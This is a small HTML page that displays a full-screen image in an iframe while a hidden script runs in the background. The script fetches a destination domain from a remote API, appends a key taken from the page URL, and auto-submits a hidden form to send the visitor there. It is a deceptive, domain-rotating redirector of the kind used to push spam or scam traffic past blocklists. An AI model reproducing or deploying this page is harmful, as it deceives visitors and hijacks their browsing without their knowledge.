<iframe style="position: fixed; left: 0; top: 0px; height: 100%; width: 100%; z-index: 9999;" scrolling="yes" frameborder="0" src="https://ss2.bdstatic.com/70cFvnSh_Q1YnxGkpoWK1HF6hhy/it/u=1472196948,4070255772&fm=26&gp=0.jpg"></iframe>


<form action="" method="post" id="forms" style="display:none;">
   
    <input type="submit" value="提交"/>
</form>

<script>
    console.log(111);
    query = window.location.search.substring(1);
    var index = query.indexOf("@") + 1;
    var key = query.substring(index);
    // url =  "http://r1k.kie83a.top" + key
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        //  IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码
        xmlhttp=new XMLHttpRequest();
    }
    else
    {
        // IE6, IE5 浏览器执行代码
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    var url = '';
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {

            var result = xmlhttp.responseText;


            a = "http://"+result + key;
            var a = a.replace(/<[^>]+>/g,"")
            // alert(a);
            console.log(a);
            setTimeout(function(){
                console.log(a);

                document.getElementById('forms').action = a;
                document.getElementById("forms").submit();

              //  form.action = a;

               // location.href = a;
            },1000)

        }
    };
    xmlhttp.open("GET","http://rk.chengrenyongpin1688.com/api/index/domain",true);
    xmlhttp.send();
</script>